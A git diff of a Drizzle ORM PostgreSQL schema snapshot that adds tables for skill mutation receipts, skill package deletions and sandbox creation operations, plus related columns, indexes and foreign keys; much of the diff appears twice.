||||
},
|
||||
{
|
||||
"expression": "created_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"activity_log_company_user_issue_actor_idx": {
|
||||
"name": "activity_log_company_user_issue_actor_idx",
|
||||
"columns": [
|
||||
@@ -19019,6 +19052,98 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_skill_mutation_receipts": {
|
||||
"name": "company_skill_mutation_receipts",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"key": {
|
||||
"name": "key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"fingerprint": {
|
||||
"name": "fingerprint",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"skill_id": {
|
||||
"name": "skill_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"version_id": {
|
||||
"name": "version_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"response": {
|
||||
"name": "response",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"company_skill_mutation_receipts_key_idx": {
|
||||
"name": "company_skill_mutation_receipts_key_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "key",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": true,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
"company_skill_mutation_receipts_company_id_companies_id_fk": {
|
||||
"name": "company_skill_mutation_receipts_company_id_companies_id_fk",
|
||||
"tableFrom": "company_skill_mutation_receipts",
|
||||
"tableTo": "companies",
|
||||
"columnsFrom": [
|
||||
"company_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "cascade",
|
||||
"onUpdate": "no action"
|
||||
}
|
||||
},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_skill_repository_snapshots": {
|
||||
"name": "company_skill_repository_snapshots",
|
||||
"schema": "",
|
||||
@@ -19046,7 +19171,46 @@
|
||||
"name": "file_inventory",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
"notNull": true,
|
||||
"default": "'[]'::jsonb"
|
||||
},
|
||||
"storage": {
|
||||
"name": "storage",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"upload": {
|
||||
"name": "upload",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"restore": {
|
||||
"name": "restore",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"migration_at": {
|
||||
"name": "migration_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"maintenance_at": {
|
||||
"name": "maintenance_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"restore_retry_at": {
|
||||
"name": "restore_retry_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
@@ -19077,6 +19241,38 @@
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_snapshots_migration_idx": {
|
||||
"name": "company_skill_snapshots_migration_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "migration_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_snapshots_maintenance_idx": {
|
||||
"name": "company_skill_snapshots_maintenance_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "maintenance_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
@@ -19966,6 +20162,25 @@
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"package_snapshot_id": {
|
||||
"name": "package_snapshot_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"package_file_map": {
|
||||
"name": "package_file_map",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"migration_at": {
|
||||
"name": "migration_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"revision_number": {
|
||||
"name": "revision_number",
|
||||
"type": "integer",
|
||||
@@ -20024,6 +20239,52 @@
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"company_skill_versions_migration_idx": {
|
||||
"name": "company_skill_versions_migration_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "migration_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_versions\".\"migration_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_package_snapshot_idx": {
|
||||
"name": "company_skill_versions_package_snapshot_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "package_snapshot_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_repository_snapshot_idx": {
|
||||
"name": "company_skill_versions_repository_snapshot_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "repository_snapshot_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_skill_revision_idx": {
|
||||
"name": "company_skill_versions_skill_revision_idx",
|
||||
"columns": [
|
||||
@@ -20135,6 +20396,19 @@
|
||||
"onDelete": "restrict",
|
||||
"onUpdate": "no action"
|
||||
},
|
||||
"company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": {
|
||||
"name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk",
|
||||
"tableFrom": "company_skill_versions",
|
||||
"tableTo": "company_skill_repository_snapshots",
|
||||
"columnsFrom": [
|
||||
"package_snapshot_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "restrict",
|
||||
"onUpdate": "no action"
|
||||
},
|
||||
"company_skill_versions_author_agent_id_agents_id_fk": {
|
||||
"name": "company_skill_versions_author_agent_id_agents_id_fk",
|
||||
"tableFrom": "company_skill_versions",
|
||||
@@ -20580,6 +20854,78 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.skill_package_deletions": {
|
||||
"name": "skill_package_deletions",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"id": {
|
||||
"name": "id",
|
||||
"type": "uuid",
|
||||
"primaryKey": true,
|
||||
"notNull": true,
|
||||
"default": "gen_random_uuid()"
|
||||
},
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"provider": {
|
||||
"name": "provider",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"archive_key": {
|
||||
"name": "archive_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"manifest_key": {
|
||||
"name": "manifest_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"delete_after": {
|
||||
"name": "delete_after",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"skill_package_deletions_due_idx": {
|
||||
"name": "skill_package_deletions_due_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "delete_after",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_transfer_runs": {
|
||||
"name": "company_transfer_runs",
|
||||
"schema": "",
|
||||
@@ -33816,7 +34162,7 @@
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE",
|
||||
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
@@ -51228,6 +51574,195 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.sandbox_creation_operations": {
|
||||
"name": "sandbox_creation_operations",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"id": {
|
||||
"name": "id",
|
||||
"type": "uuid",
|
||||
"primaryKey": true,
|
||||
"notNull": true
|
||||
},
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"environment_id": {
|
||||
"name": "environment_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"original_environment_id": {
|
||||
"name": "original_environment_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"run_id": {
|
||||
"name": "run_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"request_key": {
|
||||
"name": "request_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "'run'"
|
||||
},
|
||||
"issue_id": {
|
||||
"name": "issue_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"execution_workspace_id": {
|
||||
"name": "execution_workspace_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"provider": {
|
||||
"name": "provider",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"plugin_id": {
|
||||
"name": "plugin_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"driver_key": {
|
||||
"name": "driver_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"state": {
|
||||
"name": "state",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "'pending'"
|
||||
},
|
||||
"config": {
|
||||
"name": "config",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"metadata": {
|
||||
"name": "metadata",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"lease_id": {
|
||||
"name": "lease_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"next_attempt_at": {
|
||||
"name": "next_attempt_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
},
|
||||
"updated_at": {
|
||||
"name": "updated_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"sandbox_creation_operations_pending_deadline_idx": {
|
||||
"name": "sandbox_creation_operations_pending_deadline_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "next_attempt_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"sandbox_creation_operations\".\"state\" = 'pending'",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"sandbox_creation_operations_owner_idx": {
|
||||
"name": "sandbox_creation_operations_owner_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "original_environment_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "run_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "request_key",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": true,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
"sandbox_creation_operations_environment_id_environments_id_fk": {
|
||||
"name": "sandbox_creation_operations_environment_id_environments_id_fk",
|
||||
"tableFrom": "sandbox_creation_operations",
|
||||
"tableTo": "environments",
|
||||
"columnsFrom": [
|
||||
"environment_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "set null",
|
||||
"onUpdate": "no action"
|
||||
}
|
||||
},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.secret_access_events": {
|
||||
"name": "secret_access_events",
|
||||
"schema": "",
|
||||
+579
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"id": "3b8bb508-028d-4154-abdd-af870f1f3ca6",
|
||||
"prevId": "ff56ee93-8cfc-465a-b26a-1c12d10773ff",
|
||||
"id": "cce00822-b7a4-4acd-9c59-0f6f5822c0cf",
|
||||
"prevId": "c777fa84-85a6-418f-bea1-0d60b56cf071",
|
||||
"version": "7",
|
||||
"dialect": "postgresql",
|
||||
"tables": {
|
||||
@@ -1351,6 +1351,39 @@
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"activity_log_company_entity_created_idx": {
|
||||
"name": "activity_log_company_entity_created_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "entity_type",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "entity_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "created_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"activity_log_company_user_issue_actor_idx": {
|
||||
"name": "activity_log_company_user_issue_actor_idx",
|
||||
"columns": [
|
||||
@@ -19019,6 +19052,98 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_skill_mutation_receipts": {
|
||||
"name": "company_skill_mutation_receipts",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"key": {
|
||||
"name": "key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"fingerprint": {
|
||||
"name": "fingerprint",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"skill_id": {
|
||||
"name": "skill_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"version_id": {
|
||||
"name": "version_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"response": {
|
||||
"name": "response",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"company_skill_mutation_receipts_key_idx": {
|
||||
"name": "company_skill_mutation_receipts_key_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "key",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": true,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
"company_skill_mutation_receipts_company_id_companies_id_fk": {
|
||||
"name": "company_skill_mutation_receipts_company_id_companies_id_fk",
|
||||
"tableFrom": "company_skill_mutation_receipts",
|
||||
"tableTo": "companies",
|
||||
"columnsFrom": [
|
||||
"company_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "cascade",
|
||||
"onUpdate": "no action"
|
||||
}
|
||||
},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_skill_repository_snapshots": {
|
||||
"name": "company_skill_repository_snapshots",
|
||||
"schema": "",
|
||||
@@ -19046,7 +19171,46 @@
|
||||
"name": "file_inventory",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
"notNull": true,
|
||||
"default": "'[]'::jsonb"
|
||||
},
|
||||
"storage": {
|
||||
"name": "storage",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"upload": {
|
||||
"name": "upload",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"restore": {
|
||||
"name": "restore",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"migration_at": {
|
||||
"name": "migration_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"maintenance_at": {
|
||||
"name": "maintenance_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"restore_retry_at": {
|
||||
"name": "restore_retry_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
@@ -19077,6 +19241,38 @@
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_snapshots_migration_idx": {
|
||||
"name": "company_skill_snapshots_migration_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "migration_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_snapshots_maintenance_idx": {
|
||||
"name": "company_skill_snapshots_maintenance_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "maintenance_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
@@ -19966,6 +20162,25 @@
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"package_snapshot_id": {
|
||||
"name": "package_snapshot_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"package_file_map": {
|
||||
"name": "package_file_map",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"migration_at": {
|
||||
"name": "migration_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"revision_number": {
|
||||
"name": "revision_number",
|
||||
"type": "integer",
|
||||
@@ -20024,6 +20239,52 @@
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"company_skill_versions_migration_idx": {
|
||||
"name": "company_skill_versions_migration_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "migration_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_versions\".\"migration_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_package_snapshot_idx": {
|
||||
"name": "company_skill_versions_package_snapshot_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "package_snapshot_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_repository_snapshot_idx": {
|
||||
"name": "company_skill_versions_repository_snapshot_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "repository_snapshot_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_skill_revision_idx": {
|
||||
"name": "company_skill_versions_skill_revision_idx",
|
||||
"columns": [
|
||||
@@ -20135,6 +20396,19 @@
|
||||
"onDelete": "restrict",
|
||||
"onUpdate": "no action"
|
||||
},
|
||||
"company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": {
|
||||
"name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk",
|
||||
"tableFrom": "company_skill_versions",
|
||||
"tableTo": "company_skill_repository_snapshots",
|
||||
"columnsFrom": [
|
||||
"package_snapshot_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "restrict",
|
||||
"onUpdate": "no action"
|
||||
},
|
||||
"company_skill_versions_author_agent_id_agents_id_fk": {
|
||||
"name": "company_skill_versions_author_agent_id_agents_id_fk",
|
||||
"tableFrom": "company_skill_versions",
|
||||
@@ -20580,6 +20854,78 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.skill_package_deletions": {
|
||||
"name": "skill_package_deletions",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"id": {
|
||||
"name": "id",
|
||||
"type": "uuid",
|
||||
"primaryKey": true,
|
||||
"notNull": true,
|
||||
"default": "gen_random_uuid()"
|
||||
},
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"provider": {
|
||||
"name": "provider",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"archive_key": {
|
||||
"name": "archive_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"manifest_key": {
|
||||
"name": "manifest_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"delete_after": {
|
||||
"name": "delete_after",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"skill_package_deletions_due_idx": {
|
||||
"name": "skill_package_deletions_due_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "delete_after",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_transfer_runs": {
|
||||
"name": "company_transfer_runs",
|
||||
"schema": "",
|
||||
@@ -33816,7 +34162,7 @@
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE",
|
||||
